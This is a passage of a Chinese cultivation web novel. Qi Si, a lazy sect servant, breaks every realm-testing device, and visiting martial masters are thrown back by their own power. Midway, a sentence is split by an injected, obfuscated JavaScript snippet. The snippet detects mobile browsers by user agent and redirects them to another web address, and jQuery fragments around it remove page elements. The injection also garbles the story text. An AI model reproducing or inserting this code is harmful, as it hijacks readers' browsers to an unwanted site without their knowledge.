镜面内部传来细碎裂响,光线全部扭成一团,骨纹图案瞬间塌缩,镜面中央浮现一行冷冰冰的字: 【数据错误】 长老脸色一变,以为是镜阵受损,立刻运转真元,掌心贴上镜面。 真元刚一渡入,镜面内部的灵纹却像被惊醒的蛇群,疯狂逆向游走,原本向外扩散的检测之力,骤然回卷,顺着他的手掌倒灌上来。 “唔——” 长老闷哼一声,脚下青石地面瞬间裂开一道细缝,裂纹沿着他的脚尖一路延伸,像一条黑线,直直爬上殿门门槛。 他连忙抽手,袖袍一抖,强行切断与灵息镜的联系,胸腔气血翻涌,脸色一阵青一阵白。 “……阵没坏,是世界的骨纹在乱。” 他喃喃一句,自己都觉得荒唐。 而更远处,一座以骨纹评定闻名的宗门,主殿中央的巨大骨纹阵忽然暗了一瞬。 阵盘上万条细小纹路原本如星河流转,此刻却一根根熄灭,像被人随意擦去。 阵心处,一枚悬浮的骨珠猛地一颤,发出一声极轻的“咔哒”。 阵盘上,所有正在评定中的弟子骨纹图像,齐齐崩散,化作无数细小光点,向四面八方乱飞。 阵盘中央缓缓浮现一行字: 【评定目标:不存在】 …… 而这一切的源头,仍旧是藏书阁里那一声不经意的伸懒腰。 齐司在梦里换了个姿势,手臂随意一甩,像是嫌枕头有点硬,指尖划过空气。 藏书阁内一片静谧,只有他指尖带起的一缕微风,在书架与书架之间穿梭,轻轻掀起几页泛黄的纸。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939315|192918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缕风穿过窗棂,钻入外面的山风里,势道不显,却像在所有阵法的缝隙间,轻轻拨了一下。 …… 天亮之后,宗门内外已经乱成一团。 “境界石碑坏了?” “骨纹阵说我‘不存在’,这算不算天赋太高?” “灵息镜刚才把三长老震吐血了!” 各种议论在山道、练武场、偏殿之间乱窜,像被搅散的麻线。 而被视为一切异常源头的齐司,此刻正拎着扫帚,从藏书阁后门慢悠悠走出来。 他睡眼惺忪,头发有几缕翘起,衣襟半敞,像是被人从被窝里硬拖出来干活。 “嗯……今天轮到我扫后山道?” 他看了眼手里的扫帚,又看了看天色,觉得太阳有点刺眼,抬手挡了挡。 这一抬手,指尖微微弯曲,手背朝外,动作懒散,像是随意遮光。 山风从他指缝间穿过,发出一声极轻的“呜”。 不远处,正有一名外门弟子在石阶上练拳。 那弟子听说宗门检测大乱,一夜没睡,心里憋着一股气,拳势比平时更狠。 他脚下踩在青石上,脚掌一沉,石阶表面立刻出现细小裂纹,拳头破风而出,拳锋前方的空气被压缩成一团,发出低沉爆鸣。 “砰——” 拳影连成一片,像一串重叠的山影,直直砸向前方空处。 结果他刚出拳,就看到前方不远处有人影晃过。 ——齐司正打着哈欠,慢悠悠从石阶侧面绕过来。 那弟子心里一惊,拳势已出,收不回来,眼看着拳风就要扫到齐司肩头。 “让开!” 他下意识喊了一声。 齐司被吵得有点烦,脚步往旁边挪了半步,身体微微一侧,像是随便躲一下。 他那半步极其随意,脚尖只是轻轻点在石阶边缘,重心一偏,肩膀略微一沉。 原本直冲而来的拳风,像是撞上了一面看不见的斜面,被齐司这一偏,整股力道顺着他肩线滑过,方向硬生生拐了个弯。 “咔——” 空气中传来一声脆响,那弟子只觉得拳头前方一空,自己的劲道像是被人从中间抓住,猛地往回一拽。 他手臂一麻,肘关节里传来撕裂般的酸胀,体内气血逆着经脉倒卷,直冲天灵盖。 “噗——” 他整个人像被自己拳劲从下巴处抬起,双脚离地,身体在半空中转了半圈,重重摔在后面的石阶上,连滚带翻,一路滚下去,撞断了两截石栏。 碎石四溅,尘土炸开一团。 齐司被尘土呛了一下,抬手挡了挡灰。 他这一挡,手腕一抖,扫帚柄在掌心里转了半圈,尾端轻轻点在地面上。 “咚。” 声音不重,却像敲在某个看不见的节点上。 刚刚还在乱窜的尘土,被这一点,竟然在半空中微微一顿,随后像被一股看不见的风从中间劈开,左右分散,露出中间那名外门弟子狼狈的身影。 “……你自己练拳,别对着人。”齐司语气懒洋洋,像是在提醒人别乱丢垃圾。 那弟子躺在地上,胸口剧烈起伏,耳边全是自己心跳声。 他试图运转体内微薄的内息,却发现气息一动就往反方向乱窜,经脉里像塞了乱石,一阵一阵抽痛。 “我……我刚才,是被他……借力反打?” 他抬头看向齐司,只见对方还在揉眼睛,像没睡醒。 那一瞬间,他背脊发凉。 …… 主峰大殿内,几名长老正围着一块从各处送来的小型灵息镜,神情各异。 镜面上不断闪烁着同一句话: 【目标境界:不存在】 【骨纹结构:无法识别】 【灵息流向:错误】 “同一时间,十七处检测点全部出现这种提示。”一名白须长老声音发紧,“这不是单一法器损坏,是……整个世界的判定标准出了问题。” “可弟子们还在照常运转内力,境界也没掉。”另一人皱眉,“只是所有检测方式都说他们‘不存在’。” “还有更离谱的。”一名身穿灰袍的长老低声道,“刚刚我试图用骨纹阵评定那个叫齐司的杂役,阵盘直接熄灭,阵心骨珠差点裂开。” 大殿内一瞬间安静下来。 所有人的目光都落在他说话的灰袍长老身上。 “你亲自下阵?”有人不可置信。 灰袍长老点头,伸出右手。 他手掌心的皮肉微微焦黑,几条细小裂纹从虎口向腕部蔓延,像被什么锋利之物从内里划过。 “我只是把他的名字写进阵心。”灰袍长老语气平静,却带着一丝难以掩饰的后怕,“阵盘先是全部归零,然后……所有骨纹数据开始自我删除。” “自我删除?”主座上的太上长老眯起眼。 “是。”灰袍长老闭上眼,回忆刚才那一幕,“就像是……骨纹本身觉得不该存在,主动抹去了自己。” 他睁开眼,目光在众人之间缓缓扫过。 “而在那一瞬间,我的内力全部被阵盘反向牵引,若非我及时斩断心神联系,恐怕现在已经走火入魔。” 大殿内的空气仿佛沉了一层。 有人低声道:“一个杂役,连气血境都未入,怎么可能让你……” “他不在任何境界里。”太上长老开口,声音沙哑,却带着一种笃定,“所以所有境界的判定方式,在他身上都失效。” “可他明明有气息,有血肉,有骨纹……”有人忍不住反驳。 “有,但不属于我们现有的任何一层。”太上长老缓缓起身,衣袍下摆轻轻一晃,带起一圈细微气流,殿内烛火齐齐一颤。 “这世上第一次出现一个——” 他顿了顿,像是在斟酌词句。 “——能打穿所有境界,却不属于任何境界的人。” …… 与此同时,山门外。 一行身着不同宗门服饰的武者,正站在石阶下,仰头看着山门上那块刻着宗门名号的巨石。 为首的是一名背剑中年,眉眼锋利,气息内敛如深井。 他抬手,指尖在空中轻轻一划,一道细不可察的剑意瞬间拉直空气,山门前的雾气被切成两半,露出里面蜿蜒而上的石阶。 “人就在这宗门?”他淡声问。 身旁一名青年连忙点头:“回师叔,各大宗门的检测同时出错,追溯源头,都指向这里。那个叫齐司的杂役,极可能是关键。” “关键?”背剑中年眼中闪过一丝兴趣,“还是威胁?” 他抬脚上阶,每一步都踩得极稳,脚掌落地时,石阶表面会轻微下陷一分,随后又缓缓弹回。 那是极致控制力的体现。 “先见人。”他淡淡道,“若能招揽,自然最好。若不能……” 话音未落,山门内侧忽然传来一阵喧哗。 “快让开!别挡路!” “他只是扫地的,你们围着他干什么?” “我亲眼看见,他刚才只是退了半步,王师兄就被自己拳劲震飞了三丈!” 背剑中年脚步一顿,目光微微一凝。 …… 山门内侧的石阶上,齐司正被一圈人半围着。 他手里还拎着那把扫帚,扫帚尾端拖在地上,沿途留下一道浅浅的痕迹,把石阶上的灰尘推成一条细线。 “我真只是路过。”齐司语气不紧不慢,“你们练拳,对着山壁打就行。” 那名被震飞的外门弟子此刻已经被同伴扶起来,脸色苍白,嘴角还挂着一丝血。 他看着齐司,眼里有惧意,也有一丝不甘。 “你刚才……用了什么身法?” 齐司愣了一下,像是没反应过来他说什么。 “躲一下而已。”他想了想,又补了一句,“脚滑。” 周围一圈人表情微妙。 有人低声嘀咕:“脚滑能把人震飞三丈?” “你刚才那半步,脚尖点在阶沿,重心后撤,肩线一偏,正好借了王师兄拳劲的斜势……”一个眼尖的内门弟子忍不住分析,“那是……那是我们内门都没人能用好的卸力法啊。” 齐司听得有点困,打了个哈欠,随手把扫帚往肩上一扛。 扫帚柄在他肩窝里卡住,尾端微微翘起。 他随意抖了抖手腕,像是在甩困意。 这一抖,扫帚尾端划出一个极小的弧度,带起一缕细风,从围着他的弟子胸前掠过。 几名弟子只觉得胸口一凉,原本还在乱跳的心脉忽然一顿,随后跳动节奏莫名其妙地跟着那一抖的频率调整,呼吸也不自觉地放缓。 “呼——吸——” 他们胸腔起伏的节奏,竟然在不知不觉间统一了。 “这、这是……”有人脸色发白,“心息同调?” 那是只有高阶武者才能掌握的调息之法,用来在战阵中统一众人呼吸节奏,增强合击之力。 齐司自己却没察觉,只觉得肩上的扫帚有点硌,换了个更舒服的角度。 就在这时,一股不弱的气息从山门外逼近。 背剑中年一步跨入山门,目光在场间一扫,最终落在齐司身上。 那一眼,像一柄未出鞘的剑,气息收敛,却有一种极锋利的压迫感。 周围弟子下意识屏住呼吸,肩背一紧,仿佛被无形剑意压住。 齐司被这股气息扰得有点烦,抬眼看了他一眼,又低头看了看自己脚边的灰。 “山门口别站太多人,会挡风。”他随口说了一句,抬手轻轻挥了挥扫帚,像是要把脚边的灰扫到一旁。 扫帚尾端划过地面,发出一声极轻的“沙”。 那一瞬间,地面上的灰尘被扫成一道弧线,弧线前端微微翘起,形成一个几乎看不见的气流弯。 背剑中年正好在那弧线前方半步处停下。 他脚掌落地的瞬间,原本稳如山岳的重心,忽然被那道细微气流一托。 那股力道不大,却极其刁钻,正好落在他脚掌最难受力的角度。 背剑中年瞳孔一缩,体内真元本能运转,试图稳住身形。 结果真元一动,就像踩在一块会滑的石头上—— 他脚下那一寸空气,仿佛被齐司刚才那一挥扫帚,扫出了一个极小的“势”。 那是完全反着他真元流向的势。 “嗡——” 他体内原本顺畅的真元,在那一瞬间被硬生生拧了一下,沿着经脉逆向回流,像一条被扭成死结的河流。 背剑中年脸色一变,脚下一沉,青石地面立刻裂出一圈细密裂纹,裂纹以他脚掌为中心向外扩散,像一朵石花在瞬间绽开。 他咬牙,强行稳住身形,背后剑鞘微微震动,剑身在鞘中发出一声极低的鸣响。 周围弟子只看到—— 一位他们平日里仰望的高阶武者,刚踏入山门,就像被什么无形之力绊了一下,脚下石阶炸开蛛网般裂纹,身形微微一晃,眼中闪过一瞬间的惊惶。 “你……”背剑中年抬眼看向齐司,瞳孔微缩,眼底深处有一丝难以置信。 他刚才那一瞬间,竟然险些被自己的真元反噬。 齐司却只是皱了皱眉,看了看被踩裂的石阶。 “别在这儿用力。”他语气淡淡,“石头要修的。” 背剑中年胸腔里的气息还在乱撞。 他试图以多年来打磨的心境压下那一丝紊乱,却发现—— 刚才那一瞬间被扭曲的真元轨迹,像一根细针,扎在他心神最深处。 每当他试图回想那一脚是怎么失衡的,心神就会被那根细针轻轻一拨,掀起一圈圈涟漪。 那是极危险的征兆。 ——心境震荡。 他深吸一口气,强行把目光从齐司身上移开,转而看向山门内的长老们。 “在下某宗客卿,奉宗门之命前来拜访。”他声音还算平稳,只是尾音略微发紧,“想见见贵宗那位……齐司。” “就在你面前。”一名长老苦笑,“不过,他只是我宗杂役。” “杂役?”背剑中年喉结微动,眼角余光还是忍不住瞟向齐司。 那一眼,心神又是一颤。 他忽然意识到—— 自己刚才那一脚失衡,并不是单纯的外力所致。 而是他体内所有关于“力道、重心、真元流向”的固有认知,在接触到齐司那一挥扫帚形成的“势”时,瞬间全部失效。 就像多年来苦修的武道逻辑,被人随手在某个关键节点上画了一笔,整个结构都歪了。 “……你们的检测之法,对他都失效?”他压低声音问。 “石碑、灵息镜、骨纹阵,全都给出同样的答案。”太上长老走出山门,目光复杂地看了齐司一眼,“——无法识别。” 背剑中年沉默片刻,忽然笑了一声。 那笑声里没有轻松,只有一种被迫承认现实的无奈。 “看来,不止是你们宗门。”他抬头看向远处天际,那里隐约有几道强横气息正在逼近,“整个武道世界的境界体系,都要因为他,重写一遍。” 齐司听到“重写”两个字,眉头皱得更深了些。 “别重写我。”他懒洋洋道,“我还要去山下买吃的。” 太上长老被噎了一下。 15. 第 15 章 背剑中年愣了愣,随即竟有些想笑。 “你不想加入任何宗门?”他问。 “我还要扫地。”齐司抬了抬手里的扫帚,“还有藏书阁那边,要看书睡觉。” “……我们可以给你更好的藏书阁。”背剑中年脱口而出,“更好的食物,更好的修炼资源,你什么都不用做,只要——” “我本来也什么都没做。”齐司打断他,语气平静,“你们别管我就行。” 背剑中年一时语塞。 他忽然发现,自己这些年用来招揽天才的所有话术,在这个人面前,全都失了效。 因为对方从一开始,就不在意“天才、资源、境界、地位”这些东西。 山门外,又有几道更沉重的气息压来。 几名来自不同宗门的高阶武者,几乎同时落在山门前。 他们的到来,让山门前的空气瞬间紧绷,风声被压得发闷,连山间鸟鸣都低了一度。 “齐司在哪?” “我们宗门愿意以副宗主之位相邀。” “他若不愿出山,也可留在此处,我们出人出力,保护他周全。” 各种声音交织,像一股股不同方向的力道,在同一片空气里乱撞。 齐司被吵得头有点疼。 他把扫帚往旁边一靠,在山门旁的石墩上坐下,背靠石柱,慢慢往下滑,滑到一个最舒服的角度。 阳光从山门上方斜斜照下来,在他脸上投下一块不甚规则的阴影。 他抬手挡了挡光,手臂自然垂下,手指在石墩边缘轻轻敲了两下。 “咚、咚。” 极轻的声音,却在在场所有高阶武者耳中,像是敲在自己心口。 他们胸腔里的气息,竟然在那两下敲击声的间隔间,莫名其妙地跟着一停一顿。 有人的真元本能想要顺着那节奏运转,结果一动,就发现自己苦修多年的功法运转路线,和那两下敲击形成了一个极其危险的“错位”。 “嗡——” 几名高阶武者同时脸色一变,体内真元在一瞬间出现轻微紊乱,经脉深处传来一阵刺痛。 其中一人心境稍弱,额角青筋猛地一跳,眼底闪过一丝暴戾。 那是心魔初现的征兆。 他连忙闭眼,咬破舌尖,用疼痛把心神从那两下敲击声中硬生生拉回来。 “不能再靠近他。”有人低声道,声音里带着压抑的惊惧,“再认真运转内力,恐怕当场走火入魔。” 太上长老看着这一幕,心里那点侥幸彻底消失。 ——齐司不是“不入境界”。 而是“境界之外”。 所有以“境界”为基础构建的武道逻辑,在他身上都会出现“错误、无法识别、数据不存在”。 “我们以为境界是路。”太上长老喉咙微紧,“现在才发现,有人站在路外面。” 而那个人,正靠在山门石柱上,半眯着眼,像是随时会睡着。 “别在这儿吵。”齐司声音低低的,带着一点困倦,“你们要谈,就去大殿谈。我在这儿……晒会儿太阳。” 系统在他意识深处轻轻一响: 【武道体系重写进程:43%】 【检测逻辑:崩溃中】 【境界概念:重构中】 【宿主当前状态:懒散·稳定】 齐司嗯了一声,连在意识里都懒得回应。 他只是换了个更舒服的姿势,腿往前一伸,脚尖在地面上随意一勾。 脚尖划过青石,带起一小撮碎石和灰尘,画出一个不规则的弧形。 那弧形极其随意,却在落成的一瞬间,刚好与山门下方某处隐秘阵纹的走向形成一个完美的“反势”。 整个山门护宗大阵轻轻一颤。 原本自上而下压来的阵势,在那一瞬间被悄无声息地拨了一下,压力从山门前方撤去,反而向外扩散。 站在山门外的几名高阶武者同时一怔。 他们原本已经习惯了各宗门山门阵法的“压迫感”,那是武道世界默认的“势”。 而此刻,那股“势”忽然消失,甚至微微向他们“让开”了一寸。 ——像是在为某个人,挪出一条路。 “……这座宗门的护山大阵,刚才对我们让步了?”有人喃喃。 太上长老抬眼,看向靠在石柱下的齐司。 他忽然意识到。 从齐司出现的那一刻起,这个世界所有以“境界、阵法、检测、压制”为基础的规则,就不再是绝对的。 它们会在不知不觉间,为这个不在任何境界中的人,让出一条路。 而这条路,将逼着整个武道世界,去重写“境界”这两个字的含义。 山门石阶上的风忽然乱了一瞬。 原本顺着山门大阵流转的灵息,被什么看不见的东西轻轻拨开,像一池静水被指尖点了个圈,涟漪向四面扩散。 齐司打了个哈欠,从石柱下站直一点,肩胛骨轻轻一展,像是睡久了伸个懒腰。 这一伸。 山门上空那层淡金色的阵纹光幕,悄无声息地一颤,几道本该锁死气机的阵线,像被人随手抹了一下,亮度瞬间暗了三分。 太上长老眼皮一跳。 他能清晰感到,护山大阵的“锁定”在那一瞬间失效了半息——不是被破,而是自己松了一下。 像是面对某种无法归类的存在,本能地挪开了锋芒。 “……他刚才,只是伸了个懒腰。”一名执法堂长老喉结滚动。 齐司没理会这些视线,随手从石阶旁捡起一根落满灰尘的竹枝,低头拍了拍衣摆上的灰。 竹枝轻轻一抖。 空气里原本顺着山门阵法流转的灵息,再次被扰乱了一瞬,几缕阵纹光线竟像被抽丝一般,细细拉长,又慢慢归位。 太上长老深吸一口气,转身对身后几名弟子道:“把石碑、灵息镜、骨纹台都抬上来。” “现在?”弟子一愣。 “现在。”太上长老目光落在齐司身上,眼底隐约有一丝近乎偏执的探究,“所有检测,一起上。” …… 不多时,山门前摆了一排东西。 左侧,一块丈许高的黑色测境石碑,表面纹路如龙蛇盘绕,隐隐有光点游走。 中间,一面铜色灵息镜,镜面如水,周围刻着密密阵纹。 右侧,一座骨纹评定台,形如半截白玉骨柱,顶端有一圈圈细小刻痕。 再往旁边,是一块刻满阵纹的圆形石板——阵纹检测盘,用来判断修者是否具备某一门功法的适性。 “齐司。”太上长老压下心中莫名的躁动,声音尽量平稳,“按规矩,你既入我宗门,需先测定境界与骨纹。” 齐司“哦”了一声,语气平淡:“随便。” 他走到石碑前,动作懒散,像是被人半推半拽来排队的路人。 “把手放上去,运一丝气。”负责记录的弟子低声提醒。 齐司看了看自己的手,又看了看石碑,似乎有点嫌麻烦,最终只是随意抬起手掌,指尖都没贴紧石面,隔着一寸虚空轻轻一靠。 石碑内部的灵光“嗡”的一声被激起。 一圈圈光纹从他掌心下方炸开,沿着石碑内部的暗纹疯狂奔涌,像是被塞进了完全不匹配的力量,所有既定的流向在一瞬间被打乱。 石碑背后,负责操阵的弟子脸色一白:“不对,灵路乱了——” 下一刻,石碑表面所有代表境界的刻度同时亮起。 炼体、淬骨、开脉、聚元、通玄、化罡、破虚…… 一层层往上亮,亮到最顶端那一行“未知境”,又继续往上窜,硬是把石碑顶部那一圈本该是“空白”的石面,逼出了刺目的白光。 “这、这不可能——”记录弟子声音发颤。 石碑内部传来细微的“咔咔”声,像是某些被固定了千百次的阵纹节点,被强行扭断。 所有光芒猛地一收。 石碑表面,所有境界刻度的光同时熄灭,只剩中间浮出两个冷冰冰的字: 【无法识别】 紧接着,石碑底部一行小字自己跳出: 【数据错误】 山门前一片死寂。 太上长老盯着那两个字,指尖微微发凉。 “再来一次。”他低声道。 齐司已经把手收回来了,正用那根竹枝拨自己鞋上的尘土,听见这话,懒洋洋地“嗯”了一声,又把手搭了上去。 这一次,他连掌心都没完全摊开,只是指节轻轻一碰石碑边缘,像是随意敲了敲。 石碑内部的灵光刚要被引动,忽然像是撞上了什么“空白”,所有感应线路在接触到他指节那一瞬间,齐齐断开。 没有光,没有震动。 石碑表面一片死灰。 过了足足三息,石碑底部那行小字才像是被人踢了一脚似的,迟钝地亮起: 【境界不存在】 记录弟子手一抖,差点把玉简掉地上。 “换灵息镜。”太上长老声音有些干。 齐司被人指引到灵息镜前。 “站近些,呼一口气。”操镜的长老道。 齐司站在镜前,姿态松散,肩膀微微一塌,像是随时能靠着镜框睡着。 他随口吐出一口气。 那口气既不沉,也不带任何刻意的运转,只是人正常呼吸时的自然吐息。 灵息镜镜面却像被投入一枚巨石,原本平静如水的光泽瞬间炸开,数十道灵纹从镜面边缘疯狂往中间收拢,又在接触到那缕白气的一瞬间,齐齐断裂。 “咔——” 镜面上浮现出无数细小裂纹,却又在下一瞬间被某种看不见的力量强行抚平,只留下中间一片彻底的空白。 所有代表“气血强度”“内息纯度”“灵根适性”的小字标记,全都暗了下去。 镜面中央,缓缓浮出一行字: 【无可测量】 紧接着,镜框四角的阵纹同时闪烁,发出尖锐的“吱呀”声,像是在抗议被塞进了一个不属于任何范畴的目标。 操镜长老脸色发白,喉咙里挤出一句:“镜阵……自我保护了。” “骨纹台。”太上长老咬牙。 齐司被带到骨纹评定台前。 “把手指放上去,会刺破一点皮,别乱动。”弟子小声解释。 齐司看了看那根细小的骨针,眉头微不可察地皱了一下,像是嫌麻烦,但还是伸出手指,随意按了上去。 骨针刺入皮肤的一瞬间,本该顺着血液探入骨骼的灵纹,却像是扎进了一团“空白”。 没有骨纹,没有血脉回响。 骨针内部的阵纹一阵剧烈抽搐,像是想要抓住什么,却什么都抓不到,最终只能在原地打转。 骨纹台表面那一圈圈刻痕,本该根据骨纹等级亮起不同的光,此刻却齐刷刷地暗着。 半晌,骨纹台顶端浮出一行字: 【骨纹:不在评定序列】 “这是什么意思?”旁边的外宗长老忍不住问。 操台弟子嘴唇发干:“意思是……在骨纹评定的‘序列’之外。不是零,也不是废,而是……没有对应的格子。” 太上长老盯着那行字,胸腔里某根弦被重重拨了一下。 “最后一个。”他看向阵纹检测盘。 那是一块圆形石板,表面刻着密密麻麻的阵纹,中央有一个掌印凹槽,用来检测修者对各类功法、阵法的适性。 “把手放上去就行,不用运气。”操盘的阵堂长老道。 齐司懒洋洋地伸手,掌心落入凹槽,指尖还翘着一点,显得漫不经心。 阵纹检测盘上的所有阵线瞬间亮起。 代表刀道、剑道、拳掌、身法、轻功、御气、御器、炼体、炼魂、阵道、丹道、符篆……一圈圈光芒从外向内疯狂涌来,像是所有“道”的触手同时伸向他的掌心。 然后,在接触到那片掌纹的一瞬间,全部停住。 不是被弹开,而是像撞进了一片没有方向、没有坐标的虚空,失去了“参照物”。 阵线开始紊乱,原本井然有序的光路互相交叉、打结,形成一团乱麻。 “停阵!”阵堂长老脸色大变,手指飞快掐诀,试图切断灵力供给。 检测盘却像是被某种更高一层的“规则”接管,完全不听指令,所有光芒在紊乱到极致后,猛地一收,全部熄灭。 石板中央,缓缓浮出一行字: 【适性:超出武道体系】 下面又跳出一行小字,像是被逼着硬生生加上的注释: 【当前体系内无对应条目,建议重写评定标准】 山门前的空气,仿佛被这行字压得有些发闷。 太上长老盯着那“建议重写评定标准”几个字,指尖微微发抖。 这是阵纹检测盘内置的古老灵识,在面对完全无法归类的目标时,才会自动给出的“建议”。 也就是说,在这块石板眼里—— 齐司,已经把整个武道体系的“评定标准”,逼到了需要重写的地步。 “他……到底是什么境界?”有人忍不住低声问。 太上长老张了张嘴,最终只吐出四个字:“不在境界。” …… 山门外,几名前来拜访的高阶武者一直在看。 其中一人冷笑一声,往前迈出一步,脚下青石板在他脚掌落地的瞬间,微微一沉,裂出细小的蛛网纹。 “不过是检测出点异状。”他负手而立,身上气血鼓荡,衣袂无风自鼓,“境界再怪,也得看真本事。” 他抬手,对着齐司勾了勾手指:“小子,敢不敢与我过一招?” 齐司正拿着竹枝在脚边画圈,听见这话,头也没抬,只是往旁边挪了半步,像是给人让路。 “我不比试。”他语气平淡,“你们玩你们的。” 那高阶武者冷哼一声,脚下一踏。 “轰——” 一股浑厚的罡劲从他脚下炸开,青石板碎成数十块,碎石被气浪卷起,带着尖锐的破空声直扑齐司面门。 齐司眉头一皱,显然是嫌尘土太大,抬起左手,随意在面前一挡,动作懒散,手腕还微微垂着,像是怕灰尘扑脸。 他的手掌刚刚抬起,那些裹挟着罡劲的碎石,仿佛撞上了一层看不见的柔软水幕。 所有力道在那一瞬间被“翻转”。 “砰砰砰——” 碎石原路倒飞,速度比来时更快,带着被放大的罡劲,直直砸向那名高阶武者。 对方脸色一变,双臂交叉于胸前,内力狂涌,硬生生撑起一道气罡护罩。 “嘭!” 护罩被自己放大的罡劲砸得一颤,气浪反卷,他整个人被震得连退七步,每一步都在地面上踩出一个深坑,脚下青石翻卷,尘土四起。 他胸口一闷,喉头一甜,一口血险些喷出来。 “你——”他抬头,眼中满是难以置信。 刚才那一击,他明明只是试探,罡劲却像是被什么东西“借力打力”,又被放大了数倍,原封不动地砸回自己身上。 而齐司那边,只是随手挡了一下灰。 连脚步都没挪。 太上长老眼角微跳。 那一瞬间,他清晰看到,齐司抬手的轨迹极其随意,连最基本的发力角度都不讲究,却偏偏在对方罡劲扑来的那一刻,刚好挡在了“力道回流”的节点上。 那不是任何一门已知的卸力身法。 更像是——这个世界的力道规则,在接触到他时,本能地选择了“回流”。 “再来!”那高阶武者脸上挂不住,怒喝一声,双足一错,身形一晃,整个人像一柄出鞘的长刀,带着刺耳的破空声直劈齐司。 他这一刀并非真刀,而是以臂为刃,罡劲凝成数丈长的刀芒,刀势凌厉,所过之处空气被硬生生剖开一道白痕,地面裂出一道笔直的沟壑,碎石飞溅。 齐司叹了口气,像是被迫从懒散状态里被人拽起来,右手换了个握竹枝的姿势,手腕轻轻一抖。 那动作像是在试扫帚的重量。 竹枝划出一道极其普通的弧线,从下往上,轻轻一挑。 没有任何气势,没有任何罡风。 可那道弧线,恰好与高阶武者刀芒的下劈轨迹交错在一点。 “嗡——” 刀芒在接触到竹枝的那一瞬间,像是被什么东西“勾”了一下,原本笔直下劈的势头被硬生生拧成了一个怪异的弯。 所有罡劲在那一点上发生了“折返”。 刀芒瞬间崩散,化作无数细小的气流,沿着原本的路径倒卷而回,像一条被扯断的长鞭,抽在了持鞭者自己身上。 “砰!” 那名高阶武者胸口、肩头、腰侧同时被自己崩散的罡劲抽中,衣袍瞬间裂开数道口子,皮肉发红,气血翻涌。 他整个人被抽得在空中翻了一个跟头,重重砸在十丈外的地面上,地面炸出一个半丈深坑,裂纹如蛛网般向四周蔓延。 “咳——” 他终于没忍住,一口血喷了出来。 气息在这一刻彻底紊乱,原本运转如行云流水的内力,像是被人从中间硬生生打了个结,开始无序地在经脉中乱窜。 “内力……倒灌?”一名观战的宗门长老失声道。 太上长老目光一凝。 他看得更清楚—— 齐司那一抖竹枝的动作,根本谈不上任何“武道技巧”,甚至连最基本的发力都没有,只是随手一挑。 但那一挑,恰好落在对方刀势“势尽未尽”的节点上,把原本应该向前爆发的罡劲,拐了个弯,送回了对方体内。 这已经不是“以柔克刚”那么简单。 而是——这个世界的“势”,在接触到他时,会自动寻找一条“回流”的路径。 “你、你究竟——”那名高阶武者挣扎着想站起来,刚一运气,胸口的内力就像被什么东西牵扯,猛地往上一冲。 “噗!” 又是一口血。 他的眼神开始发散,显然是内力倒灌,连带着心境也被撕扯出裂缝。 太上长老眉头紧锁,抬手一挥,一道柔和的白光落在那人身上,替他暂时稳住了经脉。 白光刚一接触对方体内紊乱的内力,太上长老的指尖便是一颤。 那股倒灌的力量,竟隐隐要顺着他的灵力,反冲进他的经脉。 他手腕一抖,硬生生切断了那一缕探入对方体内的灵力,心口微闷,呼吸不自觉地乱了一瞬。 “太上长老?”身旁弟子察觉到他的气息波动,低声唤道。 “无妨。”太上长老压下胸中的一丝烦躁,却发现那丝烦躁并非源自自己,而像是被什么外物“牵”了一下。 他的目光不由自主地落在齐司身上。 刚才那一瞬间,他的灵力与那名高阶武者体内倒灌的内力短暂接触,而那股倒灌的“势”,竟然隐约带着一点……齐司刚才那一抖竹枝的“味道”。 像是一条被迫改变方向的河流,在撞上堤坝时,顺带把那堤坝也往回扯了一寸。 “他不只是对敌人的力道有影响。”太上长老心中闪过一个念头,“任何与他接触到的‘势’,都会被迫寻找新的流向。” 这意味着—— 越是高阶、越是复杂的内力运转,在与他接触后,越容易失控。 因为原本建立在“境界”之上的所有运行规则,在他面前,都失去了参照。 …… 山门前的骚动,很快传入宗门内部。 不多时,几名各堂主事长老陆续赶来,甚至还有外宗的探子混在人群中,目光灼灼地盯着齐司。 “此子不可留。”有人低声道。 “此子不可放。”另一个声音反驳。 “招入我宗,严加看管。” “笑话,你们镇岳宗能看管得住他?刚才那几块检测石,你也看见了。” “那就联合各宗,一起制定约束。” 各种低语在山门前的风里交织。 齐司打了个更大的哈欠,眼角都湿了一点,完全没把这些话放在心上。 他把竹枝往旁边一丢,转身就往山门里走。 “你去哪?”执法堂弟子下意识问。 “下山。”齐司头也不回,“买点吃的。” “现在?”弟子愣住,“宗门刚——” “饿了。”齐司只丢下两个字。 太上长老看着他那副“我只是路过”的姿态,喉结动了动,终究没说出“不得下山”四个字。 他很清楚—— 以刚才护山大阵对齐司“让路”的反应,真要强行拦他,阵法未必会站在宗门这一边。 “派人跟着。”一名长老低声提议,“至少要知道他去了哪。” “你去?”太上长老淡淡看了他一眼。 那长老想起刚才那名高阶武者被自己内力抽得吐血的样子,又看了看齐司那副懒洋洋的背影,喉咙里滚了一下:“……阵堂那边,还有事要忙。” “我去吧。”另一个长老咬牙,“只远远看着,不与他接触。” 太上长老点了点头,又补了一句:“记住,别与他交手,别与他对视太久,别在他身边运功。” 那长老一愣:“连运功都——” 太上长老目光沉沉:“刚才我替那人稳住经脉,差点被他的倒灌之力牵着走。” 那长老脸色一变,不再多言,躬身领命,悄然跟在齐司身后。 …… 下山的石阶很长,沿途松风猎猎,山影重叠。 齐司走得不快,每一步都懒洋洋的,脚尖偶尔踢起一块小石子。 那石子在石阶上“哒哒”滚了几下,忽然踩到一处暗藏的阵纹节点。 “嗡——” 一圈淡淡的光纹从石阶下方浮现,是用来检测外来者气息的简易阵法。 按理说,只要有修为在身,踏过此阵,阵纹就会根据气息强弱亮起不同的光度。 此刻,光纹刚一升起,便在接触到齐司脚边那颗小石子时,像是被什么“抹”了一下。 所有光线瞬间熄灭。 石阶下方的阵基发出一声极轻的“咔”,像是某个关键节点被烧断。 负责看守山道的弟子远远看见这一幕,脸色一白,转身就往山上跑:“报告!山道检测阵……被踩坏了!” 